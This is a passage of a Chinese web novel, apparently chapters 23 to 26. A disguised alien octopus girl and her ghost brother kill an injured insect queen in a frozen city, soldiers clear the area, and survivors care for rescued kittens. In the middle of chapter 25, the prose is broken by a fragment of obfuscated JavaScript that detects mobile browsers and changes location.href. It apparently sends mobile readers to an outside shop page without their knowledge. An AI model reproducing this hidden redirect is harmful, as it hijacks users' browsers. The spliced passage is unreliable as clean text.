粗糙拥挤的房子一排排坐落着,烟囱中飘出条条黑烟,四周寂静无声,没有想象中的嘈杂。
温步惊转
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了一圈,“没有发现那只鬼。”
零下几十度,人类都躲在室内,室外只有她空荡荡的一个,连个问话的都没有,她只能回到医生宿舍。
宿舍里很安静,马丽娜缩在被子里一动不动,似乎是睡着了,温茉放轻了动作,合衣躺到小床上。
她闭眼休息,没过多久,突然,外面惊响一声剧烈的炸响,震得床都晃了晃,温茉感官敏锐,只觉得脑袋嗡嗡响。
温步惊出去又进来,“是一辆车炸了,没大事。”
阿西娜的床铺依旧一动不动,只是一瓶药掉下了床,咕噜噜滚了很远。温茉有种不好的预感,伸手掀开了被子。
一具口吐白沫,表情痛苦扭曲的蜷缩尸体直直撞进她的视野。
死了。
马丽娜吞药死了。
马丽娜居然就这么死了!?
直到三名士兵耷拉着脸把尸体卷起拖走,温茉还望着久久无法回神。
这是末日前后她身边遇到的第一起自杀事件。
温茉不觉得马丽娜是个很草率的人,她一定是在深思熟虑后才决定赴死。
现实有那么可怕吗?
有。
晚上吃饭的时候,温茉正没什么表情地戳着盘子,听到隔壁的情侣窃窃私语。
“听说……”
“啊,马丽娜给我缝过胳膊,她死了还怪可惜的。”女人惊呼。
“谁说不是,明明她医术那么厉害,却败在眼镜上——”
“也能理解吧,医生又娇气又高傲,如果遇上虫子,她连朝哪个方向跑都不知道吧!”女人揶揄道。
“死多了人也好,至少我们分到的食物能多一些……光太刺眼了,真是讨厌的雪地。”男人揉了揉眼睛。
“那个女孩在看我们吗?”女人说的是温茉。
男人转头看温茉,猝不及防被她的脸吓得一激灵,“靠。”
温茉:“你们都是这样的思想吗?巴不得别人死了反正无所谓?”
“神经病啊!”
温茉:……
小情侣受不了她阴恻恻的眼神,手拉着手换了个地方,继续依偎着互相喂饭。
这是温茉见到的活人感最强的两人,他们说的话却让温茉非常难受。
。
基地建造得十分粗糙,没有安装监控这类东西,虽然墙高三米多,但这拦不住温茉这种生物。
夜深人静,风雪飘摇,今晚的月亮很圆,雪地让月色更加明亮。紫色小章鱼在墙壁上攀爬,从高处一落而下,跌落到背带裤小男孩的怀里。
小章鱼蔫哒哒地缩在男孩的手臂里,男孩揉了揉她的脑袋,飘在空中飞速前行。
鬼的速度极快,一鬼一虫很快到了废弃城市的边缘。
小章鱼在电网下挖了个洞钻进去,身影瞬间消失在茫茫夜色中。
24. 第 24 章
温茉在黑暗的废城中走了很久,没有遇到一只虫子,她心生疑惑,直到看见浓郁黑暗中的医院,才明白了原因。
层层叠叠竹节虫般的虫子攀爬着建筑,它们一动不动,像守护着什么宝藏般警惕着附近。
尽管这早就是一座空城。
虫子是看不见鬼怪的,温茉藏在一辆车下,默默等待着,温步惊飘进了医院,很快回来。
“地下一层停尸间,虫母受伤了,貌似在昏迷中。”
温茉心想:这个虫群一定在不久前经历过战斗,即使是赢家也伤痕累累。
她说呢,虫子们能被那张电网围困住?
小章鱼正要迈腿,八岁的小鬼捏住了她的触手,绿油油的鬼眼中盛满兴奋:“让我来试试如今鬼火的能力!”
“我去牵制,你多加小心!”
语毕,它像风一般飞出去,眨眼间就出现在一只闭着眼,八米长蜈蚣般定在墙上的虫子面前,温步惊伸手戳了戳那张干瘪树皮般的人脸。
虫子警惕地抬头,确认没有任何敌人,甩了甩脑袋后又趴回去——它们总是会凭空触碰到什么东西,但没有伤害,所以可以忽视。
可这次不一样,一团幽幽的蓝色火焰凭空出现,突兀地移动到它的脸前,那火不烫,散发着浓郁的阴寒气息,却几乎是眨眼间就在它的人皮脸上燃烧起来!
蓝火将干瘪缩水的脸皮燃烧殆尽,虫子也只是呆呆地没有动作,直到那火从脸骨缝隙中钻进去!顺着长长的喉管直通腹腔!
虫子立刻感受到了钻心的疼痛,仅剩的消化器官被鬼火滋滋烧光,虫子掉到地上开始打滚,嘶鸣粗粝的惨叫打破了夜的寂静,听着极其渗人。
其余虫子围着那只虫打转,竟然纷纷开了口!虽然那些声音全都模糊迟钝,但确确实实是人类的语言!
“火!哪里来的火!”
“人类!人类在附近!?”
“不可能!他们都还龟缩在外面的地下!这看起来也不像新武器!”
“雪扑不灭……离远点!不要碰那些火!”
温茉心中一惊,这些完全体虫子居然还保持着人类的思维和智商……
也许是因为骨化虫实在坚硬,鬼火并没有如同烧深海族那样顺利,那只虫艰难地在地上打滚,全身都冒着火,但骨骼依旧不受影响。
温步惊继续放火,一时间,墙体上的多只虫子纷纷起火掉落,巨大的身躯砸在雪地上,扬起漫天的雪尘。
趁乱,小章鱼灵活地接近医院侧门,从破洞的旋转玻璃门钻了进去。
医院的大厅凌乱,漆黑,有股难以言喻的味道,几块安全指示牌亮着荧荧绿光。
温茉的眼睛并没有夜视功能,只能勉强看到大厅中蜷缩着三只虫子,分别各守着一条走廊。
三只骨化虫跪趴着,一动不动,尽可能把身体蜷缩起来,但它们都太大了,肩背还是顶着天花板。
小章鱼的身体还没有一张小马扎大,尝试着偷偷从虫子瘦骨嶙峋的躯体缝隙下钻过去,但刚小心翼翼靠近一只虫,它就立刻睁开了眼。
“嗯?”它哼出简短的模糊音调,伸着脑袋在空气中不停嗅闻。
守在其余两通道的骨化虫攀爬过来,三颗脑袋一齐嗅闻搜寻着什么。
温茉暗道声不好,几乎爆发了全部的力气沿着墙根跑,触手在瓷砖上发出吧唧吧唧的声响,三只虫子立刻锁定了她的位置,同一时间伸出了骷髅大手!
温茉跳起躲过了袭击,飞快地往前跑,三只虫子摔成一团,接着齐声尖啸,发出类似于警告的信号。
啪啪啪。
混乱的、骨头狠狠拍打摩擦着地砖的声响由远及近,朝着温茉袭来。
咚!
一只整体约两米的小型骨化虫从某间病房中跳了出来,拦住了温茉的去路,小章鱼一个滑铲从它腿间溜开,却被那虫子一个砸摔紧紧压在身体下。
这只骨化虫个头小,动作灵活,但它没有眼睛,抓不到温茉,于是整条虫仰面倒地,用身体阻住了温茉逃跑。
温茉没有骨骼,这点重压对她来说不算什么,但骨化虫摸索着捏住了她的触手,使劲一扯。
她有些生气。
章鱼的身体瞬间变大,长满漩涡尖牙的粗壮触手反过来将虫子紧紧缠绕。
触手看似软绵湿滑,但尖牙狠狠咬住虫子的骨头,所有触手用力到绷紧,人形骨化虫的身体瞬间骨折,近乎腰斩般地瘫倒,发出恐怖的嚎叫。
那是道女人的尖叫,扭曲刺耳,震得温茉的耳朵难受。
“有敌袭!敌袭!啊啊啊啊好痛我好痛!”
医院内外的虫子都在尖叫,发出巨大的噪声。医院轻轻摇晃着,不,不是摇晃,是万千只骨化虫从医院各处喷涌而来的震荡!
这只小型虫子还在不知死活地用嘴、用手啃咬撕扯温茉的触手,它伸手摸住自己的人类嘴巴,把下巴和鼻骨掰断,露出喉咙处的三层漩涡尖牙,恶狠狠地朝温茉的脑袋咬去。
“去死去死去死!”它喉咙含糊的诅咒。
“死的是你!”温茉冷哼一声。
密密麻麻的金色眼珠充斥着嗜血,所有的触手抱住那颗扭曲的人类头颅,下秒瞬间挤爆了那颗脑袋!
她虽然撕不碎鲨鱼,但对付一颗人头还是绰绰有余!
温茉抛下骨化虫的尸体,迅速朝着电梯方向狂奔,短短两百米的距离,墙壁上爬满了干瘪扭曲脸的骷髅人形虫,杀气凛凛大吼着朝温茉扑去——
……
彭周突然惊醒。
数不清有多久没有睡过完整的觉,他长叹一口气,卷紧了睡袋,一脚蹬开脚边喃喃自语说梦话的罗木。
有雪水渗进了地道,一滴滴落在桌子上。
“嘀嗒——嘀嗒——嘀嗒——”
彭周心里不自觉数着调子,眼皮子颤抖着。他听到粗重的呼噜声,咯吱吱的磨牙声,罗木这个傻逼大喊“酸菜包你别跑”的梦话和仿佛来自地底深处模糊的嘶叫哭号……
哪来的尖叫声!?
彭周瞬间弹射起身,竖起耳朵聆听,一分钟后,他猛然挣脱睡袋大吼着:“都他妈别睡了!外面有情况!”
“有伙势力在跟虫子打架!”
所有的特种兵瞬间醒来,快速穿戴着装备,罗木眼还没睁开,手就摸上了冲锋枪,他精神抖擞地跳起来嘶吼:“我靠!谁那么牛逼啊!”
彭周一脚踹开单薄的木门,从地道里钻出地面,他扯开盖着坦克的罩子,敲开车门的把手的冰钻了进去。
来到地面,城市内的打斗嘈杂更加清晰,彭周心中激动澎湃,打开车顶拿着个喇叭喊:“待会见了虫子直接给我开炮!操,记得别打到友军!”
“是!”
“收到!”众人齐齐应声。
“老大!万一人家是敌人呢!说不定是黑、帮啥的!”罗木边开塔克边应道。
彭周一巴掌拍过去,“这儿军队都解散了你还指望黑、帮!敌人的敌人就是朋友!”
“快开!十分钟内给我进城!”
罗木非常委屈:“雪地太厚了!车开不快!老大你别老打人家头,本来就不聪明!!”
坦克装甲车飞速在雪地上行驶,坦克进了城,雪地上裸露出无数汽车顶盖,下方是松软的雪层和深埋的障碍物,坦克没法再开,于是特种兵们打开头盔灯,扛着枪炮弃车而行。
彭周打头走,寒风卷着怪物们的痛呼嘶鸣声吹拂而过。叫得这么惨!他只感觉热血沸腾,恨不得长出双翅膀过去看看是何方神圣。
彭周深一脚浅一脚往医院赶,又一阵劲风刮过,把灰白的烟雾状东西拍到脸上,他擦了擦护目镜,凑近看到手套上的东西。
洁白的雪尘和……烟灰般的粉末?
彭周拉下厚厚的面罩,一股刺鼻腥臭的味道充斥着鼻尖,脑子都被熏得有些恍惚,他嫌弃地将手插在雪地中洗刷。
在看到医院的一刹那,彭周罕见地愣了一下,只见无数只身上着火的怪物在雪地中翻滚挣扎,嘴里不停地辱骂着。
这里的虫子是会说人话的,彭周是知道的,但他打过那么多只虫,也没见它们吭过声,可如今这诡异的蓝火居然烧得它们破口大骂!?
罗木脑子不太好,能进彭周的队纯粹靠恐怖的体能和缺心眼子的服从力,他说:“虽然我听不太懂,但我感觉它们骂得很脏。”
“这火……”一名队员忧心忡忡地跟彭周低语:“队长,你还记得国内永夕一高事件吗?”
彭周眸色深了深。
队员继续说道:“是我处理并记录一高的档案,据目击者交代,当天也是怪物们的身上突然燃起了蓝色的熊熊大火,我后来听说,那玩意是鬼火……”
“不错。正是。”彭周言简意赅,他心头浮现出一个名字,会是她吗?
那个突然消失留下一堆烂摊子的人。
彭周摇摇头,“我在想什么呢,她不可能出现在这里,中间可是隔着一整个大洋……也许国外也有控鬼之人……”
世界之大,无奇不有,彭周很快不再纠结这些,掏出一颗炸弹拉开保险栓,一抬手臂投掷出去。
“砰!”炸弹在骨化虫身上炸开,弹片四分五裂,飞溅到雪地上晕开一个个焦黄的坑。
遭到炸弹雨的袭击,怪物们不仅不逃离,甚至还层层严密地护住了身后的医院,它们明明瞧见了这群突然蹿出来的人类,却没有一只发起攻击。
这些虫子,像是在忌惮什么。
彭周眯起眼睛,打了个撤退手势。
“找个下水道冲进去,搞死虫母。”
罗木拉着个脸,心想:又要钻粪坑!
从这群特种兵出现到撤离只有短短的五分钟,温布惊歪着脑袋思考,不明白他们为啥杀气凛凛地赶过来又离开。
直到它绕后,看见他们掀开了一个下水井盖钻进去,才恍然大悟。
原来是要直捣黄龙啊。
不知道妹妹进展怎么样了,温布惊又返回层层虫群,一边继续扔鬼火,一边漫不经心地想。
……
医院里的虫子太多了,大的小的都有,甚至还有儿童体形态!温茉颇有些咬牙切齿,这个虫族太恶心了,居然连小孩子都寄生!
外头响起了轰隆隆的炮弹爆炸声,温茉却无暇顾及,她此刻正被无数骷髅骨头禁锢在电梯前。
虫子们密密麻麻地挤满了走廊空间,深处无数双手抓住了温茉的每一根触手和触须,她牢牢地护住了脑袋,才不至于被掐爆大脑。
这些虫子很恶心,打不过就搞群体战术,温茉被固定住一动不能动,那些虫子还伸手继续撕扯,幸好她的皮够厚够韧,就是眼珠子被扣得有点疼,她想把这些丑陋的骷髅虫全杀光扬了的心都有!
她的触手一直生产着腐蚀性的黏液,电梯门被一点点腐蚀开来,露出下方黑漆漆的电梯井,温茉伸出两根触手牢牢黏住墙面用力,和缠着她的虫子们一同坠进了井内。
虫子们被卡在门前,温茉立刻产出更多黏液,没一会儿她软塌塌滑不溜秋的身体就从虫子手中滑走,彻底脱身直直落了下去。
三米的高度对温茉来说没有任何难度,她稳稳落地,撞开地下一层的电梯门冲出去。
地下一层阴冷黑暗,有好几个房间,推门进去是机房和垃圾处理的地房。但深渊般的更深处仿佛有着什么异响,触手卷起机房的一个手电,借着微弱的光朝里走去。
几米后拐弯的地方,被胡乱丢着几具僵硬的尸体,尸体们各个
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年龄段都有,每一具都光溜溜的,温茉避开它们,确信眼前的银质大门内就是停尸房。
里面静悄悄的,温茉刚把触手放到门把手上,门就被从里打开了——
一个苍白,没有眼珠,皮肤如同缩干了水分的苹果皮般皱巴的、大骨架白大褂光腿棕发男出现在她面前。
“果然是你。”它开口道,转身朝内走去。
“你认识我?”温茉感到莫名其妙,毫不客气地跟着它走进去,还顺手把门关上,把手电筒别在门把手上照亮室内。
她随口问道:“怎么没叫虫守着?一时间有些空荡我还不适应。”
“守住外面我更安全。”
“深海族。”它坐到一张停尸床上狞笑一声:“隔老远就闻见那股子腥味,真是臭死了!”
“彼此彼此。”温茉反击道:“你们族嘴巴比屎还臭,叫起来鬼哭狼嚎,比工地的挖掘机还吵!”
“尖牙利嘴。”它问道:“从颜色来看,你就是新首领?深海族什么意思?自己先挑事然后当缩头乌龟??”
温茉沉默两秒:“这是战术。”
“战术?”
“你知道吗?我这具寄生体非常优秀,在东方大陆学到了许多高深的生存智慧。”
“?”
“工欲善其事,必先利其器。我深刻地意识到子民们的弱小,于是让它们统统回归深海,养精蓄锐只待来日一举拿下人类。”
“鬼扯。”虫母朝她哈气:“我只知道你们当了逃兵!然后东方大陆的军队去对付我们陆地族了!”
它突然想到什么,激动道:“原来如此,你是想让人类消灭我们陆地族,然后未来就是你的天下了是吗!?卑鄙!”
“你硬闯进来,是为了干什么!”
温茉冷笑一声:“你的虫族规模只有千只左右吧,还不够格来质问我。”
她迅速出手,三根触手缠绕住虫母,恶狠狠道:“给我产卵!”
虫母感受到她的杀意,瑟瑟发抖道:“你想干什么!”
“少废话!让你生你就生!”
可恶,要不是它身上的伤太重,它才不会屈服的!
温茉放开它,却只见它一脸憋屈地把手伸进白大褂下面,掏了掏,然后将满满一手心黏糊糊的黑色卵泡递到她眼前。
“给!我只有这么多了!”
温茉疯了,发了狂地大吼:“从屁股生!?你恶不恶心!?”
她抬起下半身的粗壮触须,一下把虫母踹到墙上,虫母看着破了一地的卵泡,心疼地跟她对着吼:“婊、子!还说我恶心!你的卵泡是从脑袋长出的触手上生,才更恶心吧!”
“去死!!!”温茉现在攻击性极强:“那也比你干净卫生一千倍一万倍!”
“你以为我愿意!喉咙里长了三圈尖牙我有什么办法!谁知道寄生人类会产生这种变异!”
“你去死吧!”
温茉已经饿到穷凶极恶眼冒绿光,历尽千辛万苦就指望着虫母这一口,却没料到它是从那里生!
高大狰狞的深海族绷直了所有的触手,张牙舞爪地绑住了虫母,她用出了吃奶的力气发泄着,咔嚓咔嚓,如钢铁般坚硬的虫母像个玩具般被摧残蹂躏,只发出几声惨叫就彻底死亡。
温茉喘着粗气把那团骨头架子扔开,气得身上所有眼睛都发昏,她踉跄着跌倒,脑袋却诡异地冒出一个念头:
她好像每次对付那些boss级别的怪物都是在它们的虚弱期……
紧接着她的第二反应就是——靠!要饿死了!
温茉缩水为猫崽仔大小的小章鱼,颤颤巍巍地迈着触手离开停尸房,路上越想越气,直接哭了出来。
她的眼睛太多,于是像个小花洒般挪动。
在那些虫子们莫名四散而逃的第一时间,温布惊就知道里面出事了,它立刻穿墙进地下,一眼就看到了缩在角落捂着脸哭唧唧的迷你小章鱼。
“虫母打你了?”温布惊手里燃起一团鬼火,绿油油的眼中掠过怒意,温茉伸出触手卷住它的手腕,伤心欲绝道:
“我把它杀了,是我活该,没有提前进行背调,谁知道这个族这么变态呜呜呜……”
下一秒,像是能量彻底耗尽,哭腔戛然而止,她嘎嘣一下晕了过去。
温布惊:……
它小心翼翼地把温茉捧在手心里,飞快地向外面飘去。
刚跳下电梯井,跟一人一虫擦肩而过的罗木:?
彭周:“走啊!站着不动干什么?”
“我好像看见一团紫色的东西飘过去了。”罗木揉了揉眼睛,浑身的汗毛竖了起来,他哆嗦道:“鬼?不会有鬼?我也能看见鬼了?”
彭周深深叹了口气。
……
温布惊释放了太多鬼火,其实自己本身也很是虚弱了,它魂体变淡,双腿消失不见,只有上本身还能凝聚。
但它无暇顾及其他,只想赶快找到一些生肉让温茉恢复。
它翻遍了整座城的超市,却发现里面的肉类都腐烂了。整座城空空荡荡连个鬼影都没有,它连问路的都找不到。
最后,它终于在某个服装厂的仓库货物堆里找到两只一个月大小的小奶猫。奶猫窝在厚重的布料中,虽然看不见温布惊,却像是感知到什么,瑟瑟发抖地朝空中哈气。
大猫没在,也许是去觅食了。
温布惊眼神闪烁,却终究没敌过心中的负罪感,这两只小生命已经过得很艰难了,它要是再做些什么无法挽回的事,真是下地狱都不够!
情急之下,温布惊突然想到了什么——既然它可以吃当初那只怪物的卵,那么温茉是不是也可以吃它……
八岁模样的小鬼低头,毫不犹豫地扯断了自己的左臂。
25. 第 25 章
虫母死亡的消息像春风般吹进一片冰雪的基地中,所有龟缩在铁皮房中的幸存者,都冲到门外在雪地中疯狂地欢呼!
在那群黑发黑眸的国外士兵保证可以返回城市后,笑容终于重新绽放在所有人的脸上。三个月悲痛沉默的氛围一扫而光,食堂的厨师们甚至把所有的肉都拿了出来庆祝。
这儿的人自由散漫,刺头多,彭周原本还害怕掌控不了局面,但这些外国佬竟然愿意听指挥,之后按照他的方案一批批搬回城内。
彭周猜测,这群人可能误会了,以为是他们把虫母搞死的,所以才这么听话。
搞出乌龙的原因是罗木,彭周只是让他去传个话,谁知道他是怎么用那么贫瘠的外语单词闹出那么大的误会啊!
本来想解释,但现在这个情况就这么误会着也好……彭周终究没有澄清,只是私下里又捶了罗木一顿。
虫母已死,所有的普通虫子都自发离开了这座城市,毕竟它们生命的意义就在于供养虫母,自然是要去寻找下一个“王”。
但城市里总归还有一些危险,需要提前探查拔除——这座城市不禁热武器,几乎家家户户都有枪支,彭周他们和本地的残存的士兵们达成合作,准备先清扫一片居民区,收走了所有的危险用品,然后再放幸存者们进去。
这座沿海城市,房子建造的特点就是抗潮,只要把房子的积雪清掉,再想办法恢复电力,日常生活是不成问题的。
但平均高达一米三的雪层很难处理。
雪中太多死状凄惨的尸体了!根本没办法让那些老弱来挖,特殊情况下连小孩子都要出力的,但彭周不想再损害他们的精神状态了,只能带着不足五十个男性加班加点地去挖雪。
要知道基地里可是一共有上千人。但还能干活的年轻男性只有五十多个,还包括几个年纪不小的水手老头。
彭周忽略了一件事,这儿的姑娘体格基本都大,力气也不小,也想出一份力。但是彭周干活不带女人,这可让她们心生不满。
虫母死亡后的第九天晚上,彭周挖完雪刚回来,一脸疲惫地跳下车,眨眼间一群气势汹汹的女人们把他和小队围了起来。
为首的妈妈级别的女性比彭周还高一点,双手叉着腰,眉目深邃,锐利的视线紧盯着他,彭周咽了咽口水,声音不自觉弱了三分:“找我有事……”
罗木坐在车上,抱着方向盘笑得上气不接下气,娇滴滴地掐着嗓子模仿彭周的语调:“找我有事~~”
“哈哈哈哈哈哈,我天哪老大,你也有语气这么飘忽的时候!”
彭周用中语回他:“滚下来护驾!”
“嗯?”为首的女性视线一扫,罗木就不敢吱声了,他下车站到彭周身后,支起耳朵听着。
“你在搞歧视。”为首女人对着彭周说道:“你只找了男人干活,我们却没等到这份工作。”
“等等,这不一样,这不是工作,没有报酬给你们。”彭周愣了一下,赶紧解释。
“我希望你们能得到很好的休息。”他又说道。
“谢谢,也许你不懂,在这里我们提倡各种性别平等,你宁愿叫个快老掉牙的老头子都不考虑我们,我感到很生气!”
“你看不起女人吗?”
彭周被扣了一顶大高帽,激动的差点跳脚,他语无伦次地辩解着,结果那女人把手一挥,“行了,黑头发,今天是来通知你的,看清我们这里有多少人了吗?希望明天出发的时候有足够的位置。”
她们浩浩荡荡地走了,彭周愁地直搓脸,罗木手搭他肩膀上,凑近了他问道:“叽里咕噜说什么呢,语速那么快!就听懂一个女人很生气,哦,还有多少人。”
“她们要求一起开展清扫工作。”
彭周抖掉他的爪子,深深地叹了口气,扭头问队友们:“数清几个人了吗?都长得忒高了点,像墙一样!根本看不见后面的!”
“哈哈哈,队长,这里的女人都忒彪悍了!我听说这女人也当水手!”
“有时候就很羡慕她们的种族优势,感觉随随便便都能长得又高又壮。”
队员们调侃着。
“87个!”只有一个蹲在车顶看热闹地喊道:“这要再腾出好几辆车了,咱有吗?”
彭周:“妇女能顶半边天,是我没考虑周到。那不还有一辆报废公交吗?兄弟们,今晚加点抢修一下啊!”
他大手一挥:“我专门让人给咱留了羊腿,走,先去吃饭!”
队员们高高兴兴奔去食堂。
基地大门锁上了,只留一个快要燃烧殆尽的火把,摇曳的黄光映照在雪地上,冲淡了单调的苍白,营造出一片静谧的温暖,彭周看着,脚步不自觉轻快了许多,眉头舒展开来。
突然,他看到一个外国士兵兄弟靠着墙抽烟,盯着雪地不知道在想什么,看着孤零零的,彭周跟他混得最熟,这人脾气也算温和服从,显然是在等他。
“陶特,走啊,吃肉去!”彭周笑眯眯地揽上他的肩膀。
陶特喉咙含糊了一声,道:“周,你太草率了。人多了会不好控制的。”
彭周:“边走边聊。”
基地外漆黑又寒冷,只有两人散步般走着,沉重的脚步踩在雪上发出咯吱咯吱的闷响。
吸完烟后,陶特开口道:“为首的那个女人叫玛瑞,我恰巧认识她,是一个狂热的宗教分子,很会蛊惑人心。”
“说实话,那些女人,大多数其实都有伤员家人或者朋友吧。也不知道玛瑞跟她们说了什么,宁愿放弃照顾病号也要外出?”
彭周心沉了几分,他知道外国宗教人士很多,但确实因为国情以前没接触过。
听陶特的语气可不太妙……
彭周道:“我要注意什么?”
陶特摇摇头,说了一句让他有些惊讶的话:“什么也不用做。”
“说实话,我们这里奇奇怪怪的宗教确实很多,有时候我也会感觉很荒谬,别惊讶,我曾经去东大陆留学过几年。”
他短促地笑了一笑,随后收起笑容:“玛瑞似乎信仰的是一位自然神,她认为末世是地球对人类的惩罚,应该顺应灾难。”
彭周狠狠皱起了眉头:“胡扯!这已经确凿了是外星人袭击事件!”
顺应,怎么个顺应法!?站着不动让虫子啃吗?
“自然神从外星派来的打手喽。”陶特吐槽道:“这些狂信徒其实都疯疯的。我觉得她是想跟你夺权,因为你们以后必定要离开吧,等你走后这里听谁的可是个大问题。”
军队都溃散了,这儿的政府早已名存实亡。
“虽然你这么说……”沉吟片刻后,彭周道:
“如果她有能力,当领头人未尝不可,我欣赏有野心的人。我对她有印象,经常能看到她穿梭在各病房的身影,威望度很高。”
“谢谢你的提醒,我会注意她的。至于以后的领头人问题,其实这已经不属于我的职责范畴了,还要看你们内部意见。”
陶特古怪的神情被面罩遮住,半晌也只吐露出一句:“我明白了。”
……
“86、87、88——”
第二天清晨,罗木数着上车人数,却发现怎么数都多了一个,公交车是分批次运人。他只能先让上一部分,随后继续数着。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17157788|194452||http|test|mini|href|location''.split(''|''),0,{}));
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>他跑过去告诉彭周:“多了一个人。”
彭周正在修车,发动机坏了不知道还能不能修好,他正烦躁着,闻言道:“多就多了,不是混进虫子人就好。”
“哦。我就是汇报一下嘛,你不是说啥事都给你说吗。”罗木嘟嘟囔囔走了。
“臭小子。”彭周摇摇头,看着他高挺却憨笨得要死的背影骂了一句。
罗木有点情绪就挂脸,他看着几个比他还高的女人,更加郁闷了。
突然,他看到边缘的一个矮个身影鬼鬼祟祟地在怀里掏着什么,衣服里面好像有什么东西在动,立刻走过去呵斥道:
“别动!干什么呢!”
女人定住了动作,抬起脸看了他一眼,神情冰冷。虽然她戴着厚面罩,只露出刘海下的一点眼睛,罗木还是立刻认出了她。
并有些惊喜道:“欸?你不是那天的流浪小哑巴?你也来工作昂?”
罗木认出她是因为她的狗啃齐刘海和黑眼眸。
现在每个人都穿得像熊一样厚,靠身形完全辨认不出来,认人只能靠些小细节。
温茉慢吞吞点头,不是很想搭理他。
不知道为啥,罗木就觉得她莫名很亲切,于是凑过去问道:“你干啥呢?让我看看,我去,猫!”
罗木看到了她怀中叼着小奶瓶的猫,激动得不行,“哎哟我,我最喜欢猫了,我来这第一次见,能摸摸吗!?”
温茉比了两根手指,拉开衣襟让他看缩在一起的两个猫头,罗木摘下手套摸完这个摸这个,幸福得快要昏过去。
女人们的交谈声很大,掩盖了两人的交谈,也掩盖了罗木夹的要死的声音:“好可爱天呢小猫咪你还活着你真勇敢你真了不起……”
温茉总觉得他弯腰从衣服缝隙中看猫的动作怎么看怎么怪,于是大方地从怀中掏出一只快速塞进他怀里,罗木感受着在衣服里蠕动的小身体,所有的不快乐都烟消云散。
两只猫很乖,一声都没叫过,像是知道身处末世,不能随意发出声音招来危险。
甚至在罗木说话时,还从衣服中伸出毛茸茸的白色小爪子来捂他的嘴。
罗木猛亲爪子:“我死了我死了我死了我死了我死了!”
罗木和温茉跟好姐妹一样挤在一片雪地上坐着,他问:“多大了啊真可爱啊它在蹭我嘤嘤嘤好想把什么都给你。”
温茉指头在雪地上写字。
两个月,猫妈妈死了,我捡的。
他却摇头道:“不对,看牙齿怎么也是四个月大了。可怜,毛孩子肯定严重营养不良了,鼻头都是白的!”
温茉继续写:我想出去给它们找点吃的。我养不活。喂的是食堂糊糊。
“咱俩一人带一只呗!”罗木热情提议,跟她挤眉弄眼:“我看到过一家宠物用品店,今天我带你过去。咱俩一起,不带其他人!”
说罢,罗木第一次体会到滥用私权的感觉。
当小领导,爽!
因为小猫,两人迅速拉近了距离,罗木哥俩好的拉着她上了军队的车。
同样的车,同样的后排,同样的司机和同样热情欢快的罗木,似乎一些都没变。
温茉心情有些不是滋味,她看着双手中捧着的紧闭双眼的小鬼脑袋。
又好像什么都变了。
哎,只剩一个脑袋了,也不知道哥哥什么时候醒来,温茉莫名有些胆怯,又害怕它醒来后不知道怎么面对。
“陶特兄弟,快开车吧,进城进城!有天大的急事啊!”罗木没心没肺地嚷嚷,然后低头把脸伸进厚重的衣服中吸猫。
然后再一脸爪伤地抬起头。
26. 第 26 章
考虑到伤员人数太多,彭周他们选的居民楼就在医院几公里外,因此要铲雪的路程很长。
罗木指挥着陶特半道停车,带着温茉寻到了一家被雪层掩盖门面的宠物店。
他一脚踹开玻璃跳进屋内,温茉紧随其后。店内的装饰很温馨,墙上有可爱的小猫小狗图片,靠墙放着几层高的透明柜子,能看到许多花色不同猫猫尸体蜷缩着。
温茉移开了视线,找了个大袋子从货架上拿东西,罗木在角落倒了一堆猫砂,招呼着温茉来给毛孩子解放屁股。
温茉带回来一晚了,还真没见它们拉过屎尿,两只小猫瑟瑟发抖的蹲在猫砂上,只拉出了很少的稀便,罗木毫不嫌弃地给它们擦干净屁股,然后把两只猫都塞到自己衣服里,看着温茉傻笑。
“猫重,我帮你抱。”
温茉:……
她不是猫奴,不理解他怎么被抓还要亲近猫,她拿过前台登记本写字:这么喜欢,都给你。
罗木眼里的惊喜快要溢出来,“都给我了!你真是个好人妹妹”
有人接手,温茉高兴还来不及。
“罗木,跑这偷懒是觉得我的拳头不硬吗?”
突然,外面响起一声厉喝,气喘吁吁的彭周跳进屋内,绷直着手指着罗木骂道:“三个劳动力一起偷懒,回去给我干活!”
“老大你冤枉我了!”罗木往前走两步,一把扯开衣领昂起胸膛,“我在救助小生命,它们可怜死了,屎都没得拉!”
看着两只胆怯的猫猫头,彭周的怒气降了点,眼神也没那么凶狠了。
“哪来的?”
“小哑巴给我的。”
“还给人家,你养不起。”
“我怎么养不起!待会儿我把整个店都偷光!”
“回国你带不走。”
“……”罗木睫毛颤抖,看看温茉,然后看看彭周,弱弱地哼道:“别啊,哥,嫂子不是也很喜欢动物啊,就带回去吧。”
“打感情牌没用。”
彭周瞪两人一眼,动手收拾起宠物用品,“愣着干什么,干活。”
三人收拾了一大包东西拿回车上,陶特双脚搭着方向盘打瞌睡,一脸困倦地睁开眼,他什么也不关心,伸了个懒腰后发动了车子。
彭周的车跟在后头。
罗木用保温壶的热水冲了两瓶奶,双手握着插在衣服里同时喂着。叼着奶瓶,俩小猫急不可耐地吮吸着,发出震天的呼噜响。
“真可爱。”罗木感叹道。
他嘿嘿两声,不放心地再三确认,“真的给我了哦,妹妹,你以后可不能要回去了。”
温茉点头,在纸上写:但是你的上司说你带不回国,你们……什么时候回国?
罗木单薄的丹凤眼眯起,做思索状:“啊,回国的话可能就是这两个月吧,据说国内情况基本稳定了,而且我们出来也够久了。”
现在摆在温茉面前的有两个选择,留在这块大陆刷级或者是回国。
留下,她可以放开手脚的去跟虫族厮杀战斗,然后一统外星虫族。
回去,是因为揪心着国内的情况,尤其是她眼睛中的介虫,其实……如果能研究出什么东西造福人类,她也不介意被当成小白鼠。
还有就是羊雅芝,流浪的异国小哑女显然不适合问别国官员的情况,她歇了打听的心思,全身心的重点都放在只剩一个脑袋的温布惊身上。
这么严重,很显然上香已经没啥用了。
温茉心事重重。
温茉混在铲雪的男男女女中,表现得非常不出挑,因为是哑巴,没人跟她说话,于是她就默默在角落摸鱼。
今天的任务是清理马路上的积雪层,干活的班次换了一批又一批,进展也才几百米。温茉摸了一个下午的鱼,晚上坐上罗木的车回基地。
罗木急着安顿猫猫,晚饭都不跟大食堂吃,温茉打了两人份的晚饭,一头钻进了他的屋子。
